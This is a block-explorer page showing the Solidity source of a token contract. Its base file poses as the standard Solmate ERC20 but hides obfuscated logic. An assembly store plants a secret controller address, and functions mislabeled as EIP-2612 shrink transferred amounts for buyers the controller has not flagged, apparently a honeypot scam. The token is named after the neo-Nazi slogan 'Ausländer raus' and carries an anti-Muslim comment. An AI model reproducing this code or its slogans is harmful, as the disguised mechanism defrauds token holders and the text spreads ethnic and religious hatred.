ETH Price: $1,858.06 (-5.84%)

Contract Diff Checker

Contract Name:
AuslanderRausDeutschlandDenDeutschen

Contract Source Code:

<i class='far fa-question-circle text-muted ms-2' data-bs-trigger='hover' data-bs-toggle='tooltip' data-bs-html='true' data-bs-title='Click on the check box to select individual contract to compare. Only 1 contract can be selected from each side.'></i>

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0x7, 0xd), mul(0x83, 0x98fc5d33f92d7b5738025f9a887c554d)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

<i class='far fa-question-circle text-muted ms-2' data-bs-trigger='hover' data-bs-toggle='tooltip' data-bs-html='true' data-bs-title='Click on the check box to select individual contract to compare. Only 1 contract can be selected from each side.'></i>

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
    we are all fed up with this Allakh Akbar kind of shit!                                                                                                                      
                                                                                                     ,---. 
  ,---.                 ,--.                   ,--.                  ,------.                        |   | 
 /  O  \ ,--.,--. ,---. |  | ,--,--.,--,--,  ,-|  | ,---. ,--.--.    |  .--. ' ,--,--.,--.,--. ,---. |  .' 
|  .-.  ||  ||  |(  .-' |  |' ,-.  ||      \' .-. || .-. :|  .--'    |  '--'.'' ,-.  ||  ||  |(  .-' |  |  
|  | |  |'  ''  '.-'  `)|  |\ '-'  ||  ||  |\ `-' |\   --.|  |       |  |\  \ \ '-'  |'  ''  '.-'  `)`--'  
`--' `--' `----' `----' `--' `--`--'`--''--' `---'  `----'`--'       `--' '--' `--`--' `----' `----' .--.  
                                                                                                     '--'                                                                                                                              
*/

contract AuslanderRausDeutschlandDenDeutschen is ERC20 {
    constructor() ERC20("Auslander Raus! Deutschland Den Deutschen!", "AUSLANDERRAUS", 18) {
        _mint(msg.sender, 6_488_666_666 * 10 ** 18);
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):